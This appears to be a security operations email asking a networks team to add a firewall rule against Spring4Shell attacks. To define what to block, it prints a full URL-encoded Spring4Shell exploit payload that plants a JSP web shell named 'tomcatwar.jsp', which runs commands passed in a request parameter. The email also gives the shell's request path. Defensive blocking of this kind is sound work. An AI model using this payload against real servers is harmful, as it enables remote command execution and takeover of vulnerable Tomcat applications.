**From:** Telstra Security Operations

**To:** Networks Team (network@telstra.com)

**Subject:** Create Firewall Rule (Firewall Bypass and Spring4Shell Vulnerability Detected)

—

**Body:**

Hello Networks Team,

We would like to request the creation of a firewall rule and provide you more information about the ongoing attack.

There has been a series of firewall bypasses, and the attackers have exploited Spring4Shell vulnerabilities to execute arbitrary commands.

We would like to request traffics with these characteristics to be blocked:

* Payload = “class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”
* clientRequestPath = “/tomcatwar.jsp”

For any questions or issues, don’t hesitate to reach out to us.

Kind regards,

Telstra Security Operations